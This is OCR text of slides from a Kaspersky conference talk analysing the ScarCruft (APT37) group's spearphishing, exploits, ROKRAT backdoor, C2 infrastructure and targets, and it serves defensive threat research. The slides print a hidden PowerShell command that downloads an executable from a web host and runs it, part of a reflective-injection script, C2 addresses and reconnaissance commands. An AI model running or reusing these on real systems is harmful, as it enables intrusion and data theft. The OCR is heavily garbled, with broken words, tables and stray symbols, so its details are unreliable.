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What is in this talk?
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Who is ScarCruft?

ScarCruft a.k.a Reaper, Groupl23, APT37

ScarCruft is Korean speaking actor target for
org/company related to the Korean Peninsula affairs

ScarCruft is high-skilled state-sponsored actor has own
customtools

ScarCruft is relatively not well-known, but is apparently quite
resourceful
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_@ TTPs of ScarCruft

Characteristics of ScarCruft Tools
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Initial infection

% Favorite method: Spearphishing
High-profiled spearphishing attack
Malicious HWP: Target for South Korea
Quickly adopting of new vulnerability

SEES 'YgYd ARIT/YU FY.
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Initial infection

[] ) strategic Website Compromised

Previous SWC attack by ScarCruft

Operation Erebus in 2016

E==0
CVE-2016-4171 — Adobe Flash Zero-

day used in ta rgeted attacks

o Jurne 14 2

SWC attack in 2016 from NK-related websites

News websites covering Morth Korea have been
compromised

O August 17, 2016, Yeng- Ha, & Morth Korean dipl omat w

o worked inthe United Kingdam, w
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Preparing another SWC attack?

Internal exploit testing of ScarCruft
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Infection Procedure N—

Implant downloader

Include UAC Bypass method

CVE-2018-8120 exploit
Public code(UACME)

A

Initial Dropper
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Agent=Host Process Update
UrlCount=5

URLI=34.13.42.35
URL2=34.13.42.35

URL3=kmbrl.nitesbrl.org

URL4=www.stjohns-burscough.org
URL5=lotusprintgroup.com

Objectl=/uploads/girl,jpg

Object2=/uploads/qgirl.jpg

COI"nch Qbject3=/UserFiles/File/images.png
File
r\L ! refer to
Installer
Register as @
Windows service
Downloader C2 Server

Download next payload

Uses steganography
Checks “SELGSIGN" header
Executes it without disk touching



Infection Procedure

Cloud-based backdoor

()

Cloud-based backdoor
(a.k.a ROKRAT)
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— Configuration data

Random path
PID,
Config path....

20

1 threads work

6 threads: Informationstealing
5threads: Forwarding data

Stealing
Login Credential

Directory
Listing
File
Collecting

Audio
Recording

Disk Info
Gathering

N
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Infection Procedure
Cloud-based backdoor

Backdoor functionality

Download commands
Upload command result

(D)

Cloud-based backdoor
(a.k.a ROKRAT)
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Cmd
FU
FD
FC
EE
EL
EK
PS
PI

PA

MS
MK

DR

Functionality
File listing scriptin E

< - -

1

1

Download (non-encrypted '
( ypted) :

1

1

Download (encrypted) . Dropbox

r——
Run Windowscommands

:
1
Process listing :
1
1

Pcloud
Terminate process L “.
Update config scriptout Yandex
Update cloud token
Update config
Runipconfig, tree command
Save screenshot
Audiorecording
Download shellcode KASPERYKYS



C2 Infrastructure

=l TypeofC2
E‘L yp

Compromised Web Server

— File upload vulnerability
— Used for payload hosting

Free Web Hosting Service

— Used for testing and real attack

— Opsec failure, directory is opened(!)
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\IEI OpSec Failure of ScarCruft

C2 Scripts and powershell
— Scripts for download additional payload

cmd.exe /k powershell.exe -windowstyle hidden -ExecutionPolicy
Bypass $f="%APPDATA%/Microsoft/ieConv.exe'
$t=http://xxxxx.000webhostapp.com/UserFiles/File/image/images/ww
wtest.jpg; (New-Object System.Net.WebClient).DownloadFile($t,$f);
Start-Process $f:Stop-Process -processname cmd

Invoke-ReflectivePEInjection.psl

#Main function to either run the script locally or remotely
Function Main
Write-Uerhose ""PowerShell ProcessID: SPID

#Add a "program name' to exeargs. just so the string looks as normal as
#if (S5Exefrgs —ne Snull —-and $Exeflrgs —ne ">

#{

# $ExefArgs = "ReflectiveExe 5Exefirgs"
>

ftelse

#{

i $Exefirgs = "ReflectiveExe"

#if (SComputerHame —eq 5null —or SComputerHame —imatch ""“ws=5'">
#{

Invoke—Command -ScriptBlock $RemoteScriptBlock —-ArgumentList B¢
I



C2 Infrastructure

Eé Decoy Document from C2

File name Last saved by Last modified Contents

The statementagainst minister of
economy from Youth Community

Detal|th JIGPc 2018-10-0512:56:18 Unionon minimum wages

Originaldoc:youthunion.kr

Surveyresultaboutdispersed
Detailhwp ~ ASUS | 2018-10-09 011537 familymembers

Originaldoc: Ministry of Unification

The statement of POCOG

th ASUS  2018-10-0912:29:34 (PyeongChangOrganizing
reporthwp Committee forthe 2018 Olympic)
abouttheireconomicsuccess
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_@ Victimology

Who is target of this campaign?
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Target of This Campaign

@ Diplomatic agency
H-F Investment/Trading
all:] company

Security Analyst Summit 2019

H-FE Investment company
1

Individuals interested
in North Korea affairs

@ Diplomatic agency
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_@ Dig into malware author

| esson learn from attacker
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Lesson Learn from Enemy
Aggressive Adoption of public source

H:\National_BackDoor(2018_6_18)shellcode_china\
\documents\office\#CVE-2017-11882

\documents\acrobat\CVE-2018-499(
\web\vbscript\CVE-2018-8174_PoC.h

loc_401283:
cl, [edx+eax] dl, [ecx+edi]

cl, 7Ah o ; . https://github.com/hfirefOx/UACME

cl, 19h H dl,
[edx+eax], cl [ecx+edi], d1
edx inc ecx

edx, esi ecx, esi linuxdownload\smbattack\..\
short loc_10009DBEG i short loc_401283

Wine CMD Cloud APl Chinese-malware  Public exploit UACBypass SMB attack

1 1 r 11

AMAE 23\
14 F3/8F

Malware Exploit
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Lesson Learn from Enemy
Reliability and Stability

% Considering Performance
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Lesson Learn from Enemy
QA and Enhance Features

@ —

Downloader
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Ea

— Bluetooth Harvester

Collects connected Bluetooth device info (Instance Name, Address, Class..)

EF L A ,
*+0 ‘»i v HAA & # a& B+ RSDSdqCCiHIiD=Z||B=ii
H:~BlueTooth“aaashluetooth_device_1 — Copy~Releaseshluetooth_device_1.pdh
= = F GCTL F 8E _textimn P HE  _idatash HQE= * -Hdcf

12 * .GRT5XCh PoeE ¢ .CRTZXCARA TQE * -CRT5XCZ RQE ¢ .CRTSXInA

[>-]

Windows commands

wmic csproduct get uuid

wmic diskdrive get serialnumber
Hosthame

ipconfig -all

systeminfo 18



Lesson Learn from Enemy

Hard orkin Downloader o) G\ConsoleApplication5\Release\ConsoleApplication5.pdb
A g Injector o) H\Data Source\Off_Line(12_18)_NTDLL API|_Bypass Anti_Virus(Hidde

Downloader e) H\Current Working Http\Download_Data\Release\Dow nload_Data.pdk
Bluetooth harvester ®) H\BlueTooth\aaa\bluetooth_device_1 - Copy\Release\bluetooth_device_1.;
Dropper o) D\working\lstspy4APT\Release\8thpro.pdb
Uploader(testing) o) I\HttpSock\Upload_Data\Release\Upload_Data.pdb
Dropper ¢ ) F\working\Performance2nd\Release\Performance2nd.pdb
Dropper o) [|\IPSCAN\IPScan_Percolation(kill&m akeinifile_Complete)\Release\NWCWorkstation.pd
Installer ¢ ) F\working\IPScan_Percolation\Release\IPScan_Percolation.pdb
Initial Dropper e ) F\Final Project(20180108)\Finallstspy\CV E-2018-8120(IE32)\Release\8120ps.pdb
Downloader *) F\working\hadowexecute - Copy\Release\hadowexecute.pdb
Dropper *) S\Working\Final360Project\Release\ldr.pdb
Master Tool ®) H:A\National_BackDoor(2018_6_18)shellcode_china\Master\Release\Master.pdb
Downloader ¢ ) S\SUCCESS\hadowexecute\Release\hadowexecute.pdb
Downloader ®) E\Final Project(20180108)\Finallstspy\hadowexecute - Copy\Release\hadowexecute.pdb
AV Uninstaller *) H\lpk\Release\slc.pdb

Loader ®) E\Final Project(20180108)\Finallstspy\LoadDI\Release\LoadDlIl.pdb

Dropper ®) E\Final Project(20180108)\Finallstspy\8thpro\Release\8thpro.pdb
Security Analyst Summit 2019 19



_@ Conflicting with another Group

Hiding another group’s shadow
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Timeline of one victim

2018-09-21ScarCruft

Downloader infected

Russian
Victim
2018-03-26 DarkHotel

GCreezeBackdoor infected

2018-04-03 Konni

File: Why North Korea slams South
Korea's recent defense talks with U.S-

2018-05-01 Download additional file Japan.zip

from update.drp.su/drpdump.exe

Security Analyst Summit 2019 KASPERSK\@



Old Fight of Them

ScarCruftvs DarkHotelisold game

Sneak into another group’s C2 server

ScarCrufft APT DarkHotel AFT

“Dperation Daybreak™
tpearphishing

Maorth Korean nesus?

Security Analyst Summit 2019

Same decryption routine for False Flag?

DarkHotel: Op DayBreak

ScarCruft: Op Erebus

22



Conclusion

® ©] N

ScarCruftis high- ScarCruft keep ScarCruft keep ScarCruft vs
skilled diligent evoving their targeting North DarkHotel
group tools,/method Korearelated
org/ company

To defeat hard worker, we need more hard working and sharing

KASPERSKY$
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Let’s Talk?

Seongsu Park (@unpacker)
CGREAT @ Kaspersky Lab




